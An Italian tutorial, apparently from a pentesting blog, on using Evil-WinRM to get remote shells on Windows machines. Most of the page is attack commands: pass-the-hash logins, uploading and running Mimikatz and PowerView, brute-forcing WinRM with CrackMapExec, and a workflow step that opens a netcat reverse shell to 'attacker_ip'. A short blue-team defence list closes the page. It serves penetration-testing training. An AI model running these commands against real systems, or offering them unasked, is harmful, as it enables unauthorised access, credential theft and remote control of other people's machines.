Tutorials

🎯 Evil-WinRM – Guida Completa

Evil-WinRM è uno strumento Ruby-based che sfrutta il protocollo WinRM Windows Remote Management per offrire un’interfaccia semi-interattiva di tipo shell remota su sistemi Windows. Viene utilizzato in

#exploitation#windows

🎯 Evil-WinRM – Guida Completa

📌 Cos'è Evil-WinRM?

Evil-WinRM è uno strumento Ruby-based che sfrutta il protocollo WinRM (Windows Remote Management) per offrire un’interfaccia semi-interattiva di tipo shell remota su sistemi Windows.

Viene utilizzato in fase di post-exploitation dopo che sono state ottenute credenziali valide, ed è lo strumento de facto per accedere ad un sistema Windows via WinRM in modalità command line.


⚙️ Requisiti e Installazione

📦 Prerequisiti

  • Ruby installato (versione 2.5+ consigliata)
  • bundler installato (gem install bundler)
  • Linux/MacOS (può funzionare anche su Windows con WSL)

💻 Installazione

bash
git clone https://github.com/Hackplayers/evil-winrm cd evil-winrm bundle install

Oppure installa tramite apt (Kali):

bash
sudo apt install evil-winrm

Controlla che sia funzionante:

bash
evil-winrm -h

🔐 Accesso con Credenziali Valide

🧩 Comando base:

bash
evil-winrm -i <IP> -u <utente> -p <password>

✅ Esempio:

bash
evil-winrm -i 10.10.10.10 -u administrator -p 'P@ssw0rd!'

🔐 Con autenticazione via NTLM hash (Pass-the-Hash):

bash
evil-winrm -i 10.10.10.10 -u administrator -H <NTLM_hash>
⚠️ Solo se la macchina target consente NTLM per WinRM.

🔐 Accesso con certificato (se disponibile)

bash
evil-winrm -i <IP> -u <utente> -k <cert_file.pem>

🧪 Comandi principali in sessione

Una volta ottenuto l’accesso, sei in una PowerShell remota completa.

Puoi eseguire:

bash
whoami
ipconfig
net users
Get-Process
Get-Service

📁 Upload / Download file

📤 Upload (dal tuo host al target):

bash
upload /path/local/tool.exe tool.exe

📥 Download (dal target al tuo host):

bash
download file.txt

🔁 Esecuzione automatica di script (PowerShell)

Caricamento e invocazione:

bash
evil-winrm -i <IP> -u <utente> -p <password> -s /path/script.ps1

Durante la sessione:

bash
./script.ps1

🔐 Integrazione con Mimikatz, Nishang, PowerView

Puoi caricare script post-exploitation molto utili in ambiente Windows:

Esempi:

bash
upload /opt/mimikatz/mimikatz.exe
.\mimikatz.exe

Oppure:

bash
upload /opt/PowerView.ps1
.\PowerView.ps1 Get-NetUser -UserName administrator

⚡ Opzioni avanzate

FlagDescrizione
-sSpecifica directory locale per gli script
-eSpecifica directory locale per gli eseguibili
-cSpecifica directory locale per i file da caricare in memoria
--no-colorsDisabilita colori
--use-rport Specifica una porta diversa dalla 5985 (default)

📂 Esempio workflow completo

1. Scansione della porta WinRM:

bash
nmap -p 5985,5986 --open -sV 10.10.10.10

2. Enumerazione utenti

Da SMB o LDAP o credenziali ottenute da dump.

3. Bruteforce con CrackMapExec

bash
crackmapexec winrm 10.10.10.10 -u users.txt -p passwords.txt

4. Accesso con Evil-WinRM

bash
evil-winrm -i 10.10.10.10 -u administrator -p P@ssw0rd

5. Post-Exploitation

bash
whoami
ipconfig
upload nc.exe
.\nc.exe -e cmd.exe attacker_ip 4444

🛡️ Difese consigliate lato Blue Team

  • Disabilitare WinRM se non necessario
  • Limitare WinRM solo a IP/host autorizzati
  • Forzare autenticazione Kerberos
  • Abilitare audit e logging PowerShell
  • Monitorare eventi:
- Microsoft-Windows-WinRM/Operational - Security (ID 4624, 4648, 4688)

📚 Risorse ufficiali

  • Cheatsheet Red Team